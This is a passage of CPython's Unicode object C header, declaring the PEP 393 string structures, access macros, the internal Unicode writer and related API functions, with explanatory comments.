do {Py_ssize_t i_; Py_UNICODE *t_ = (target); Py_UNICODE v_ = (value);\ for (i_ = 0; i_ < (length); i_++) t_[i_] = v_;\ } while (0) /* macros to work with surrogates */ #define Py_UNICODE_IS_SURROGATE(ch) (0xD800 <= (ch) && (ch) <= 0xDFFF) #define Py_UNICODE_IS_HIGH_SURROGATE(ch) (0xD800 <= (ch) && (ch) <= 0xDBFF) #define Py_UNICODE_IS_LOW_SURROGATE(ch) (0xDC00 <= (ch) && (ch) <= 0xDFFF) /* Join two surrogate characters and return a single Py_UCS4 value. */ #define Py_UNICODE_JOIN_SURROGATES(high, low) \ (((((Py_UCS4)(high) & 0x03FF) << 10) | \ ((Py_UCS4)(low) & 0x03FF)) + 0x10000) /* high surrogate = top 10 bits added to D800 */ #define Py_UNICODE_HIGH_SURROGATE(ch) (0xD800 - (0x10000 >> 10) + ((ch) >> 10)) /* low surrogate = bottom 10 bits added to DC00 */ #define Py_UNICODE_LOW_SURROGATE(ch) (0xDC00 + ((ch) & 0x3FF)) /* Check if substring matches at given offset. The offset must be valid, and the substring must not be empty. */ #define Py_UNICODE_MATCH(string, offset, substring) \ ((*((string)->wstr + (offset)) == *((substring)->wstr)) && \ ((*((string)->wstr + (offset) + (substring)->wstr_length-1) == *((substring)->wstr + (substring)->wstr_length-1))) && \ !memcmp((string)->wstr + (offset), (substring)->wstr, (substring)->wstr_length*sizeof(Py_UNICODE))) #endif /* Py_LIMITED_API */ #ifdef __cplusplus extern "C" { #endif /* --- Unicode Type ------------------------------------------------------- */ #ifndef Py_LIMITED_API /* ASCII-only strings created through PyUnicode_New use the PyASCIIObject structure. state.ascii and state.compact are set, and the data immediately follow the structure. utf8_length and wstr_length can be found in the length field; the utf8 pointer is equal to the data pointer. */ typedef struct { /* There are 4 forms of Unicode strings: - compact ascii: * structure = PyASCIIObject * test: PyUnicode_IS_COMPACT_ASCII(op) * kind = PyUnicode_1BYTE_KIND * compact = 1 * ascii = 1 * ready = 1 * (length is the length of the utf8 and wstr strings) * (data starts just after the structure) * (since ASCII is decoded from UTF-8, the utf8 string are the data) - compact: * structure = PyCompactUnicodeObject * test: PyUnicode_IS_COMPACT(op) && !PyUnicode_IS_ASCII(op) * kind = PyUnicode_1BYTE_KIND, PyUnicode_2BYTE_KIND or PyUnicode_4BYTE_KIND * compact = 1 * ready = 1 * ascii = 0 * utf8 is not shared with data * utf8_length = 0 if utf8 is NULL * wstr is shared with data and wstr_length=length if kind=PyUnicode_2BYTE_KIND and sizeof(wchar_t)=2 or if kind=PyUnicode_4BYTE_KIND and sizeof(wchar_t)=4 * wstr_length = 0 if wstr is NULL * (data starts just after the structure) - legacy string, not ready: * structure = PyUnicodeObject * test: kind == PyUnicode_WCHAR_KIND * length = 0 (use wstr_length) * hash = -1 * kind = PyUnicode_WCHAR_KIND * compact = 0 * ascii = 0 * ready = 0 * interned = SSTATE_NOT_INTERNED * wstr is not NULL * data.any is NULL * utf8 is NULL * utf8_length = 0 - legacy string, ready: * structure = PyUnicodeObject structure * test: !PyUnicode_IS_COMPACT(op) && kind != PyUnicode_WCHAR_KIND * kind = PyUnicode_1BYTE_KIND, PyUnicode_2BYTE_KIND or PyUnicode_4BYTE_KIND * compact = 0 * ready = 1 * data.any is not NULL * utf8 is shared and utf8_length = length with data.any if ascii = 1 * utf8_length = 0 if utf8 is NULL * wstr is shared with data.any and wstr_length = length if kind=PyUnicode_2BYTE_KIND and sizeof(wchar_t)=2 or if kind=PyUnicode_4BYTE_KIND and sizeof(wchar_4)=4 * wstr_length = 0 if wstr is NULL Compact strings use only one memory block (structure + characters), whereas legacy strings use one block for the structure and one block for characters. Legacy strings are created by PyUnicode_FromUnicode() and PyUnicode_FromStringAndSize(NULL, size) functions. They become ready when PyUnicode_READY() is called. See also _PyUnicode_CheckConsistency(). */ PyObject_HEAD Py_ssize_t length; /* Number of code points in the string */ Py_hash_t hash; /* Hash value; -1 if not set */ struct { /* SSTATE_NOT_INTERNED (0) SSTATE_INTERNED_MORTAL (1) SSTATE_INTERNED_IMMORTAL (2) If interned != SSTATE_NOT_INTERNED, the two references from the dictionary to this object are *not* counted in ob_refcnt. */ unsigned int interned:2; /* Character size: - PyUnicode_WCHAR_KIND (0): * character type = wchar_t (16 or 32 bits, depending on the platform) - PyUnicode_1BYTE_KIND (1): * character type = Py_UCS1 (8 bits, unsigned) * all characters are in the range U+0000-U+00FF (latin1) * if ascii is set, all characters are in the range U+0000-U+007F (ASCII), otherwise at least one character is in the range U+0080-U+00FF - PyUnicode_2BYTE_KIND (2): * character type = Py_UCS2 (16 bits, unsigned) * all characters are in the range U+0000-U+FFFF (BMP) * at least one character is in the range U+0100-U+FFFF - PyUnicode_4BYTE_KIND (4): * character type = Py_UCS4 (32 bits, unsigned) * all characters are in the range U+0000-U+10FFFF * at least one character is in the range U+10000-U+10FFFF */ unsigned int kind:3; /* Compact is with respect to the allocation scheme. Compact unicode objects only require one memory block while non-compact objects use one block for the PyUnicodeObject struct and another for its data buffer. */ unsigned int compact:1; /* The string only contains characters in the range U+0000-U+007F (ASCII) and the kind is PyUnicode_1BYTE_KIND. If ascii is set and compact is set, use the PyASCIIObject structure. */ unsigned int ascii:1; /* The ready flag indicates whether the object layout is initialized completely. This means that this is either a compact object, or the data pointer is filled out. The bit is redundant, and helps to minimize the test in PyUnicode_IS_READY(). */ unsigned int ready:1; /* Padding to ensure that PyUnicode_DATA() is always aligned to 4 bytes (see issue #19537 on m68k). */ unsigned int :24; } state; wchar_t *wstr; /* wchar_t representation (null-terminated) */ } PyASCIIObject; /* Non-ASCII strings allocated through PyUnicode_New use the PyCompactUnicodeObject structure. state.compact is set, and the data immediately follow the structure. */ typedef struct { PyASCIIObject _base; Py_ssize_t utf8_length; /* Number of bytes in utf8, excluding the * terminating \0. */ char *utf8; /* UTF-8 representation (null-terminated) */ Py_ssize_t wstr_length; /* Number of code points in wstr, possible * surrogates count as two code points. */ } PyCompactUnicodeObject; /* Strings allocated through PyUnicode_FromUnicode(NULL, len) use the PyUnicodeObject structure. The actual string data is initially in the wstr block, and copied into the data block using _PyUnicode_Ready. */ typedef struct { PyCompactUnicodeObject _base; union { void *any; Py_UCS1 *latin1; Py_UCS2 *ucs2; Py_UCS4 *ucs4; } data; /* Canonical, smallest-form Unicode buffer */ } PyUnicodeObject; #endif PyAPI_DATA(PyTypeObject) PyUnicode_Type; PyAPI_DATA(PyTypeObject) PyUnicodeIter_Type; #define PyUnicode_Check(op) \ PyType_FastSubclass(Py_TYPE(op), Py_TPFLAGS_UNICODE_SUBCLASS) #define PyUnicode_CheckExact(op) (Py_TYPE(op) == &PyUnicode_Type) /* Fast access macros */ #ifndef Py_LIMITED_API #define PyUnicode_WSTR_LENGTH(op) \ (PyUnicode_IS_COMPACT_ASCII(op) ? \ ((PyASCIIObject*)op)->length : \ ((PyCompactUnicodeObject*)op)->wstr_length) /* Returns the deprecated Py_UNICODE representation's size in code units (this includes surrogate pairs as 2 units). If the Py_UNICODE representation is not available, it will be computed on request. Use PyUnicode_GET_LENGTH() for the length in code points. */ #define PyUnicode_GET_SIZE(op) \ (assert(PyUnicode_Check(op)), \ (((PyASCIIObject *)(op))->wstr) ? \ PyUnicode_WSTR_LENGTH(op) : \ ((void)PyUnicode_AsUnicode((PyObject *)(op)), \ assert(((PyASCIIObject *)(op))->wstr), \ PyUnicode_WSTR_LENGTH(op))) #define PyUnicode_GET_DATA_SIZE(op) \ (PyUnicode_GET_SIZE(op) * Py_UNICODE_SIZE) /* Alias for PyUnicode_AsUnicode(). This will create a wchar_t/Py_UNICODE representation on demand. Using this macro is very inefficient now, try to port your code to use the new PyUnicode_*BYTE_DATA() macros or use PyUnicode_WRITE() and PyUnicode_READ(). */ #define PyUnicode_AS_UNICODE(op) \ (assert(PyUnicode_Check(op)), \ (((PyASCIIObject *)(op))->wstr) ? (((PyASCIIObject *)(op))->wstr) : \ PyUnicode_AsUnicode((PyObject *)(op))) #define PyUnicode_AS_DATA(op) \ ((const char *)(PyUnicode_AS_UNICODE(op))) /* --- Flexible String Representation Helper Macros (PEP 393) -------------- */ /* Values for PyASCIIObject.state: */ /* Interning state. */ #define SSTATE_NOT_INTERNED 0 #define SSTATE_INTERNED_MORTAL 1 #define SSTATE_INTERNED_IMMORTAL 2 /* Return true if the string contains only ASCII characters, or 0 if not. The string may be compact (PyUnicode_IS_COMPACT_ASCII) or not, but must be ready. */ #define PyUnicode_IS_ASCII(op) \ (assert(PyUnicode_Check(op)), \ assert(PyUnicode_IS_READY(op)), \ ((PyASCIIObject*)op)->state.ascii) /* Return true if the string is compact or 0 if not. No type checks or Ready calls are performed. */ #define PyUnicode_IS_COMPACT(op) \ (((PyASCIIObject*)(op))->state.compact) /* Return true if the string is a compact ASCII string (use PyASCIIObject structure), or 0 if not. No type checks or Ready calls are performed. */ #define PyUnicode_IS_COMPACT_ASCII(op) \ (((PyASCIIObject*)op)->state.ascii && PyUnicode_IS_COMPACT(op)) enum PyUnicode_Kind { /* String contains only wstr byte characters. This is only possible when the string was created with a legacy API and _PyUnicode_Ready() has not been called yet. */ PyUnicode_WCHAR_KIND = 0, /* Return values of the PyUnicode_KIND() macro: */ PyUnicode_1BYTE_KIND = 1, PyUnicode_2BYTE_KIND = 2, PyUnicode_4BYTE_KIND = 4 }; /* Return pointers to the canonical representation cast to unsigned char, Py_UCS2, or Py_UCS4 for direct character access. No checks are performed, use PyUnicode_KIND() before to ensure these will work correctly. */ #define PyUnicode_1BYTE_DATA(op) ((Py_UCS1*)PyUnicode_DATA(op)) #define PyUnicode_2BYTE_DATA(op) ((Py_UCS2*)PyUnicode_DATA(op)) #define PyUnicode_4BYTE_DATA(op) ((Py_UCS4*)PyUnicode_DATA(op)) /* Return one of the PyUnicode_*_KIND values defined above. */ #define PyUnicode_KIND(op) \ (assert(PyUnicode_Check(op)), \ assert(PyUnicode_IS_READY(op)), \ ((PyASCIIObject *)(op))->state.kind) /* Return a void pointer to the raw unicode buffer. */ #define _PyUnicode_COMPACT_DATA(op) \ (PyUnicode_IS_ASCII(op) ? \ ((void*)((PyASCIIObject*)(op) + 1)) : \ ((void*)((PyCompactUnicodeObject*)(op) + 1))) #define _PyUnicode_NONCOMPACT_DATA(op) \ (assert(((PyUnicodeObject*)(op))->data.any), \ ((((PyUnicodeObject *)(op))->data.any))) #define PyUnicode_DATA(op) \ (assert(PyUnicode_Check(op)), \ PyUnicode_IS_COMPACT(op) ? _PyUnicode_COMPACT_DATA(op) : \ _PyUnicode_NONCOMPACT_DATA(op)) /* In the access macros below, "kind" may be evaluated more than once. All other macro parameters are evaluated exactly once, so it is safe to put side effects into them (such as increasing the index). */ /* Write into the canonical representation, this macro does not do any sanity checks and is intended for usage in loops. The caller should cache the kind and data pointers obtained from other macro calls. index is the index in the string (starts at 0) and value is the new code point value which should be written to that location. */ #define PyUnicode_WRITE(kind, data, index, value) \ do { \ switch ((kind)) { \ case PyUnicode_1BYTE_KIND: { \ ((Py_UCS1 *)(data))[(index)] = (Py_UCS1)(value); \ break; \ } \ case PyUnicode_2BYTE_KIND: { \ ((Py_UCS2 *)(data))[(index)] = (Py_UCS2)(value); \ break; \ } \ default: { \ assert((kind) == PyUnicode_4BYTE_KIND); \ ((Py_UCS4 *)(data))[(index)] = (Py_UCS4)(value); \ } \ } \ } while (0) /* Read a code point from the string's canonical representation. No checks or ready calls are performed. */ #define PyUnicode_READ(kind, data, index) \ ((Py_UCS4) \ ((kind) == PyUnicode_1BYTE_KIND ? \ ((const Py_UCS1 *)(data))[(index)] : \ ((kind) == PyUnicode_2BYTE_KIND ? \ ((const Py_UCS2 *)(data))[(index)] : \ ((const Py_UCS4 *)(data))[(index)] \ ) \ )) /* PyUnicode_READ_CHAR() is less efficient than PyUnicode_READ() because it calls PyUnicode_KIND() and might call it twice. For single reads, use PyUnicode_READ_CHAR, for multiple consecutive reads callers should cache kind and use PyUnicode_READ instead. */ #define PyUnicode_READ_CHAR(unicode, index) \ (assert(PyUnicode_Check(unicode)), \ assert(PyUnicode_IS_READY(unicode)), \ (Py_UCS4) \ (PyUnicode_KIND((unicode)) == PyUnicode_1BYTE_KIND ? \ ((const Py_UCS1 *)(PyUnicode_DATA((unicode))))[(index)] : \ (PyUnicode_KIND((unicode)) == PyUnicode_2BYTE_KIND ? \ ((const Py_UCS2 *)(PyUnicode_DATA((unicode))))[(index)] : \ ((const Py_UCS4 *)(PyUnicode_DATA((unicode))))[(index)] \ ) \ )) /* Returns the length of the unicode string. The caller has to make sure that the string has it's canonical representation set before calling this macro. Call PyUnicode_(FAST_)Ready to ensure that. */ #define PyUnicode_GET_LENGTH(op) \ (assert(PyUnicode_Check(op)), \ assert(PyUnicode_IS_READY(op)), \ ((PyASCIIObject *)(op))->length) /* Fast check to determine whether an object is ready. Equivalent to PyUnicode_IS_COMPACT(op) || ((PyUnicodeObject*)(op))->data.any) */ #define PyUnicode_IS_READY(op) (((PyASCIIObject*)op)->state.ready) /* PyUnicode_READY() does less work than _PyUnicode_Ready() in the best case. If the canonical representation is not yet set, it will still call _PyUnicode_Ready(). Returns 0 on success and -1 on errors. */ #define PyUnicode_READY(op) \ (assert(PyUnicode_Check(op)), \ (PyUnicode_IS_READY(op) ? \ 0 : _PyUnicode_Ready((PyObject *)(op)))) /* Return a maximum character value which is suitable for creating another string based on op. This is always an approximation but more efficient than iterating over the string. */ #define PyUnicode_MAX_CHAR_VALUE(op) \ (assert(PyUnicode_IS_READY(op)), \ (PyUnicode_IS_ASCII(op) ? \ (0x7f) : \ (PyUnicode_KIND(op) == PyUnicode_1BYTE_KIND ? \ (0xffU) : \ (PyUnicode_KIND(op) == PyUnicode_2BYTE_KIND ? \ (0xffffU) : \ (0x10ffffU))))) #endif /* --- Constants ---------------------------------------------------------- */ /* This Unicode character will be used as replacement character during decoding if the errors argument is set to "replace". Note: the Unicode character U+FFFD is the official REPLACEMENT CHARACTER in Unicode 3.0. */ #define Py_UNICODE_REPLACEMENT_CHARACTER ((Py_UCS4) 0xFFFD) /* === Public API ========================================================= */ /* --- Plain Py_UNICODE --------------------------------------------------- */ /* With PEP 393, this is the recommended way to allocate a new unicode object. This function will allocate the object and its buffer in a single memory block. Objects created using this function are not resizable. */ #ifndef Py_LIMITED_API PyAPI_FUNC(PyObject*) PyUnicode_New( Py_ssize_t size, /* Number of code points in the new string */ Py_UCS4 maxchar /* maximum code point value in the string */ ); #endif /* Initializes the canonical string representation from the deprecated wstr/Py_UNICODE representation. This function is used to convert Unicode objects which were created using the old API to the new flexible format introduced with PEP 393. Don't call this function directly, use the public PyUnicode_READY() macro instead. */ #ifndef Py_LIMITED_API PyAPI_FUNC(int) _PyUnicode_Ready( PyObject *unicode /* Unicode object */ ); #endif /* Get a copy of a Unicode string. */ #ifndef Py_LIMITED_API PyAPI_FUNC(PyObject*) _PyUnicode_Copy( PyObject *unicode ); #endif /* Copy character from one unicode object into another, this function performs character conversion when necessary and falls back to memcpy() if possible. Fail if to is too small (smaller than *how_many* or smaller than len(from)-from_start), or if kind(from[from_start:from_start+how_many]) > kind(to), or if *to* has more than 1 reference. Return the number of written character, or return -1 and raise an exception on error. Pseudo-code: how_many = min(how_many, len(from) - from_start) to[to_start:to_start+how_many] = from[from_start:from_start+how_many] return how_many Note: The function doesn't write a terminating null character. */ #ifndef Py_LIMITED_API PyAPI_FUNC(Py_ssize_t) PyUnicode_CopyCharacters( PyObject *to, Py_ssize_t to_start, PyObject *from, Py_ssize_t from_start, Py_ssize_t how_many ); /* Unsafe version of PyUnicode_CopyCharacters(): don't check arguments and so may crash if parameters are invalid (e.g. if the output string is too short). */ PyAPI_FUNC(void) _PyUnicode_FastCopyCharacters( PyObject *to, Py_ssize_t to_start, PyObject *from, Py_ssize_t from_start, Py_ssize_t how_many ); #endif #ifndef Py_LIMITED_API /* Fill a string with a character: write fill_char into unicode[start:start+length]. Fail if fill_char is bigger than the string maximum character, or if the string has more than 1 reference. Return the number of written character, or return -1 and raise an exception on error. */ PyAPI_FUNC(Py_ssize_t) PyUnicode_Fill( PyObject *unicode, Py_ssize_t start, Py_ssize_t length, Py_UCS4 fill_char ); /* Unsafe version of PyUnicode_Fill(): don't check arguments and so may crash if parameters are invalid (e.g. if length is longer than the string). */ PyAPI_FUNC(void) _PyUnicode_FastFill( PyObject *unicode, Py_ssize_t start, Py_ssize_t length, Py_UCS4 fill_char ); #endif /* Create a Unicode Object from the Py_UNICODE buffer u of the given size. u may be NULL which causes the contents to be undefined. It is the user's responsibility to fill in the needed data afterwards. Note that modifying the Unicode object contents after construction is only allowed if u was set to NULL. The buffer is copied into the new object. */ #ifndef Py_LIMITED_API PyAPI_FUNC(PyObject*) PyUnicode_FromUnicode( const Py_UNICODE *u, /* Unicode buffer */ Py_ssize_t size /* size of buffer */ ); #endif /* Similar to PyUnicode_FromUnicode(), but u points to UTF-8 encoded bytes */ PyAPI_FUNC(PyObject*) PyUnicode_FromStringAndSize( const char *u, /* UTF-8 encoded string */ Py_ssize_t size /* size of buffer */ ); /* Similar to PyUnicode_FromUnicode(), but u points to null-terminated UTF-8 encoded bytes. The size is determined with strlen(). */ PyAPI_FUNC(PyObject*) PyUnicode_FromString( const char *u /* UTF-8 encoded string */ ); #ifndef Py_LIMITED_API /* Create a new string from a buffer of Py_UCS1, Py_UCS2 or Py_UCS4 characters. Scan the string to find the maximum character. */ PyAPI_FUNC(PyObject*) PyUnicode_FromKindAndData( int kind, const void *buffer, Py_ssize_t size); /* Create a new string from a buffer of ASCII characters. WARNING: Don't check if the string contains any non-ASCII character. */ PyAPI_FUNC(PyObject*) _PyUnicode_FromASCII( const char *buffer, Py_ssize_t size); #endif #if !defined(Py_LIMITED_API) || Py_LIMITED_API+0 >= 0x03030000 PyAPI_FUNC(PyObject*) PyUnicode_Substring( PyObject *str, Py_ssize_t start, Py_ssize_t end); #endif #ifndef Py_LIMITED_API /* Compute the maximum character of the substring unicode[start:end]. Return 127 for an empty string. */ PyAPI_FUNC(Py_UCS4) _PyUnicode_FindMaxChar ( PyObject *unicode, Py_ssize_t start, Py_ssize_t end); #endif #if !defined(Py_LIMITED_API) || Py_LIMITED_API+0 >= 0x03030000 /* Copy the string into a UCS4 buffer including the null character if copy_null is set. Return NULL and raise an exception on error. Raise a SystemError if the buffer is smaller than the string. Return buffer on success. buflen is the length of the buffer in (Py_UCS4) characters. */ PyAPI_FUNC(Py_UCS4*) PyUnicode_AsUCS4( PyObject *unicode, Py_UCS4* buffer, Py_ssize_t buflen, int copy_null); /* Copy the string into a UCS4 buffer. A new buffer is allocated using * PyMem_Malloc; if this fails, NULL is returned with a memory error exception set. */ PyAPI_FUNC(Py_UCS4*) PyUnicode_AsUCS4Copy(PyObject *unicode); #endif #ifndef Py_LIMITED_API /* Return a read-only pointer to the Unicode object's internal Py_UNICODE buffer. If the wchar_t/Py_UNICODE representation is not yet available, this function will calculate it. */ PyAPI_FUNC(Py_UNICODE *) PyUnicode_AsUnicode( PyObject *unicode /* Unicode object */ ); /* Similar to PyUnicode_AsUnicode(), but raises a ValueError if the string contains null characters. */ PyAPI_FUNC(const Py_UNICODE *) _PyUnicode_AsUnicode( PyObject *unicode /* Unicode object */ ); /* Return a read-only pointer to the Unicode object's internal Py_UNICODE buffer and save the length at size. If the wchar_t/Py_UNICODE representation is not yet available, this function will calculate it. */ PyAPI_FUNC(Py_UNICODE *) PyUnicode_AsUnicodeAndSize( PyObject *unicode, /* Unicode object */ Py_ssize_t *size /* location where to save the length */ ); #endif #if !defined(Py_LIMITED_API) || Py_LIMITED_API+0 >= 0x03030000 /* Get the length of the Unicode object. */ PyAPI_FUNC(Py_ssize_t) PyUnicode_GetLength( PyObject *unicode ); #endif /* Get the number of Py_UNICODE units in the string representation. */ PyAPI_FUNC(Py_ssize_t) PyUnicode_GetSize( PyObject *unicode /* Unicode object */ ); #if !defined(Py_LIMITED_API) || Py_LIMITED_API+0 >= 0x03030000 /* Read a character from the string. */ PyAPI_FUNC(Py_UCS4) PyUnicode_ReadChar( PyObject *unicode, Py_ssize_t index ); /* Write a character to the string. The string must have been created through PyUnicode_New, must not be shared, and must not have been hashed yet. Return 0 on success, -1 on error. */ PyAPI_FUNC(int) PyUnicode_WriteChar( PyObject *unicode, Py_ssize_t index, Py_UCS4 character ); #endif #ifndef Py_LIMITED_API /* Get the maximum ordinal for a Unicode character. */ PyAPI_FUNC(Py_UNICODE) PyUnicode_GetMax(void); #endif /* Resize a Unicode object. The length is the number of characters, except if the kind of the string is PyUnicode_WCHAR_KIND: in this case, the length is the number of Py_UNICODE characters. *unicode is modified to point to the new (resized) object and 0 returned on success. Try to resize the string in place (which is usually faster than allocating a new string and copy characters), or create a new string. Error handling is implemented as follows: an exception is set, -1 is returned and *unicode left untouched. WARNING: The function doesn't check string content, the result may not be a string in canonical representation. */ PyAPI_FUNC(int) PyUnicode_Resize( PyObject **unicode, /* Pointer to the Unicode object */ Py_ssize_t length /* New length */ ); /* Decode obj to a Unicode object. bytes, bytearray and other bytes-like objects are decoded according to the given encoding and error handler. The encoding and error handler can be NULL to have the interface use UTF-8 and "strict". All other objects (including Unicode objects) raise an exception. The API returns NULL in case of an error. The caller is responsible for decref'ing the returned objects. */ PyAPI_FUNC(PyObject*) PyUnicode_FromEncodedObject( PyObject *obj, /* Object */ const char *encoding, /* encoding */ const char *errors /* error handling */ ); /* Copy an instance of a Unicode subtype to a new true Unicode object if necessary. If obj is already a true Unicode object (not a subtype), return the reference with *incremented* refcount. The API returns NULL in case of an error. The caller is responsible for decref'ing the returned objects. */ PyAPI_FUNC(PyObject*) PyUnicode_FromObject( PyObject *obj /* Object */ ); PyAPI_FUNC(PyObject *) PyUnicode_FromFormatV( const char *format, /* ASCII-encoded string */ va_list vargs ); PyAPI_FUNC(PyObject *) PyUnicode_FromFormat( const char *format, /* ASCII-encoded string */ ... ); #ifndef Py_LIMITED_API typedef struct { PyObject *buffer; void *data; enum PyUnicode_Kind kind; Py_UCS4 maxchar; Py_ssize_t size; Py_ssize_t pos; /* minimum number of allocated characters (default: 0) */ Py_ssize_t min_length; /* minimum character (default: 127, ASCII) */ Py_UCS4 min_char; /* If non-zero, overallocate the buffer (default: 0). */ unsigned char overallocate; /* If readonly is 1, buffer is a shared string (cannot be modified) and size is set to 0. */ unsigned char readonly; } _PyUnicodeWriter ; /* Initialize a Unicode writer. * * By default, the minimum buffer size is 0 character and overallocation is * disabled. Set min_length, min_char and overallocate attributes to control * the allocation of the buffer. */ PyAPI_FUNC(void) _PyUnicodeWriter_Init(_PyUnicodeWriter *writer); /* Prepare the buffer to write 'length' characters with the specified maximum character. Return 0 on success, raise an exception and return -1 on error. */ #define _PyUnicodeWriter_Prepare(WRITER, LENGTH, MAXCHAR) \ (((MAXCHAR) <= (WRITER)->maxchar \ && (LENGTH) <= (WRITER)->size - (WRITER)->pos) \ ? 0 \ : (((LENGTH) == 0) \ ? 0 \ : _PyUnicodeWriter_PrepareInternal((WRITER), (LENGTH), (MAXCHAR)))) /* Don't call this function directly, use the _PyUnicodeWriter_Prepare() macro instead. */ PyAPI_FUNC(int) _PyUnicodeWriter_PrepareInternal(_PyUnicodeWriter *writer, Py_ssize_t length, Py_UCS4 maxchar); /* Prepare the buffer to have at least the kind KIND. For example, kind=PyUnicode_2BYTE_KIND ensures that the writer will support characters in range U+000-U+FFFF. Return 0 on success, raise an exception and return -1 on error. */ #define _PyUnicodeWriter_PrepareKind(WRITER, KIND) \ (assert((KIND) != PyUnicode_WCHAR_KIND), \ (KIND) <= (WRITER)->kind \ ? 0 \ : _PyUnicodeWriter_PrepareKindInternal((WRITER), (KIND))) /* Don't call this function directly, use the _PyUnicodeWriter_PrepareKind() macro instead. */ PyAPI_FUNC(int) _PyUnicodeWriter_PrepareKindInternal(_PyUnicodeWriter *writer, enum PyUnicode_Kind kind); /* Append a Unicode character. Return 0 on success, raise an exception and return -1 on error. */ PyAPI_FUNC(int) _PyUnicodeWriter_WriteChar(_PyUnicodeWriter *writer, Py_UCS4 ch ); /* Append a Unicode string. Return 0 on success, raise an exception and return -1 on error. */ PyAPI_FUNC(int) _PyUnicodeWriter_WriteStr(_PyUnicodeWriter *writer, PyObject *str /* Unicode string */ ); /* Append a substring of a Unicode string. Return 0 on success, raise an exception and return -1 on error. */ PyAPI_FUNC(int) _PyUnicodeWriter_WriteSubstring(_PyUnicodeWriter *writer, PyObject *str, /* Unicode string */ Py_ssize_t start, Py_ssize_t end ); /* Append an ASCII-encoded byte string. Return 0 on success, raise an exception and return -1 on error. */ PyAPI_FUNC(int) _PyUnicodeWriter_WriteASCIIString(_PyUnicodeWriter *writer, const char *str, /* ASCII-encoded byte string */ Py_ssize_t len /* number of bytes, or -1 if unknown */ ); /* Append a latin1-encoded byte string. Return 0 on success, raise an exception and return -1 on error. */ PyAPI_FUNC(int) _PyUnicodeWriter_WriteLatin1String(_PyUnicodeWriter *writer, const char *str, /* latin1-encoded byte string */ Py_ssize_t len /* length in bytes */ ); /* Get the value of the writer as a Unicode string. Clear the buffer of the writer. Raise an exception and return NULL on error. */ PyAPI_FUNC(PyObject *) _PyUnicodeWriter_Finish(_PyUnicodeWriter *writer); /* Deallocate memory of a writer (clear its internal buffer). */ PyAPI_FUNC(void) _PyUnicodeWriter_Dealloc(_PyUnicodeWriter *writer); #endif #ifndef Py_LIMITED_API /* Format the object based on the format_spec, as defined in PEP 3101 (Advanced String Formatting). */ PyAPI_FUNC(int) _PyUnicode_FormatAdvancedWriter( _PyUnicodeWriter *writer, PyObject *obj, PyObject *format_spec, Py_ssize_t start, Py_ssize_t end); #endif PyAPI_FUNC(void) PyUnicode_InternInPlace(PyObject **); PyAPI_FUNC(void) PyUnicode_InternImmortal(PyObject **); PyAPI_FUNC(PyObject *) PyUnicode_InternFromString( const char *u /* UTF-8 encoded string */ ); #ifndef Py_LIMITED_API PyAPI_FUNC(void) _Py_ReleaseInternedUnicodeStrings(void); #endif /* Use only if you know it's a string */ #define PyUnicode_CHECK_INTERNED(op) \ (((PyASCIIObject *)(op))->state.interned) /* --- wchar_t support for platforms which support it --------------------- */ #ifdef HAVE_WCHAR_H /* Create a Unicode Object from the wchar_t buffer w of the given size. The buffer is copied into the new object. */ PyAPI_FUNC(PyObject*) PyUnicode_FromWideChar( const wchar_t *w, /* wchar_t buffer */ Py_ssize_t size /* size of buffer */ ); /* Copies the Unicode Object contents into the wchar_t buffer w. At most size wchar_t characters are copied. Note that the resulting wchar_t string may or may not be 0-terminated. It is the responsibility of the caller to make sure that the wchar_t string is 0-terminated in case this is required by the application. Returns the number of wchar_t characters copied (excluding a possibly trailing 0-termination character) or -1 in case of an error. */ PyAPI_FUNC(Py_ssize_t) PyUnicode_AsWideChar( PyObject *unicode, /* Unicode object */ wchar_t *w, /* wchar_t buffer */ Py_ssize_t size /* size of buffer */ ); /* Convert the Unicode object to a wide character string. The output string always ends with a nul character. If size is not NULL, write the number of wide characters (excluding the null character) into *size. Returns a buffer allocated by PyMem_Malloc() (use PyMem_Free() to free it) on success. On error, returns NULL, *size is undefined and raises a MemoryError. */ PyAPI_FUNC(wchar_t*) PyUnicode_AsWideCharString( PyObject *unicode, /* Unicode object */ Py_ssize_t *size /* number of characters of the result */ ); #ifndef Py_LIMITED_API /* Similar to PyUnicode_AsWideCharString(unicode, NULL), but check if the string contains null characters. */ PyAPI_FUNC(wchar_t*) _PyUnicode_AsWideCharString( PyObject *unicode /* Unicode object */ ); PyAPI_FUNC(void*) _PyUnicode_AsKind(PyObject *s, unsigned int kind); #endif #endif /* --- Unicode ordinals --------------------------------------------------- */ /* Create a Unicode Object from the given Unicode code point ordinal. The ordinal must be in range(0x110000). A ValueError is raised in case it is not. */ PyAPI_FUNC(PyObject*) PyUnicode_FromOrdinal(int ordinal); /* --- Free-list management ----------------------------------------------- */ /* Clear the free list used by the Unicode implementation. This can be used to release memory used for objects on the free list back to the Python memory allocator. */ PyAPI_FUNC(int) PyUnicode_ClearFreeList(void); /* === Builtin Codecs ===================================================== Many of these APIs take two arguments encoding and errors. These parameters encoding and errors have the same semantics as the ones of the builtin str() API. Setting encoding to NULL causes the default encoding (UTF-8) to be used. Error handling is set by errors which may also be set to NULL meaning to use the default handling defined for the codec. Default error handling for all builtin codecs is "strict" (ValueErrors are raised). The codecs all use a similar interface. Only deviation from the generic ones are documented. */ /* --- Manage the default encoding ---------------------------------------- */ /* Returns a pointer to the default encoding (UTF-8) of the Unicode object unicode and the size of the encoded representation in bytes stored in *size. In case of an error, no *size is set. This function caches the UTF-8 encoded string in the unicodeobject and subsequent calls will return the same string. The memory is released when the unicodeobject is deallocated. _PyUnicode_AsStringAndSize is a #define for PyUnicode_AsUTF8AndSize to support the previous internal function with the same behaviour. *** This API is for interpreter INTERNAL USE ONLY and will likely *** be removed or changed in the future. *** If you need to access the Unicode object as UTF-8 bytes string, *** please use PyUnicode_AsUTF8String() instead. */ #ifndef Py_LIMITED_API PyAPI_FUNC(char *) PyUnicode_AsUTF8AndSize( PyObject *unicode, Py_ssize_t *size); #define _PyUnicode_AsStringAndSize PyUnicode_AsUTF8AndSize #endif /* Returns a pointer to the default encoding (UTF-8) of the Unicode object unicode. Like PyUnicode_AsUTF8AndSize(), this also caches the UTF-8 representation in the unicodeobject. _PyUnicode_AsString is a #define for PyUnicode_AsUTF8 to support the previous internal function with the same behaviour. Use of this API is DEPRECATED since no size information can be extracted from the returned data. *** This API is for interpreter INTERNAL USE ONLY and will likely *** be removed or changed for Python 3.1. *** If you need to access the Unicode object as UTF-8 bytes string, *** please use PyUnicode_AsUTF8String() instead. */ #ifndef Py_LIMITED_API PyAPI_FUNC(char *) PyUnicode_AsUTF8(PyObject *unicode); #define _PyUnicode_AsString 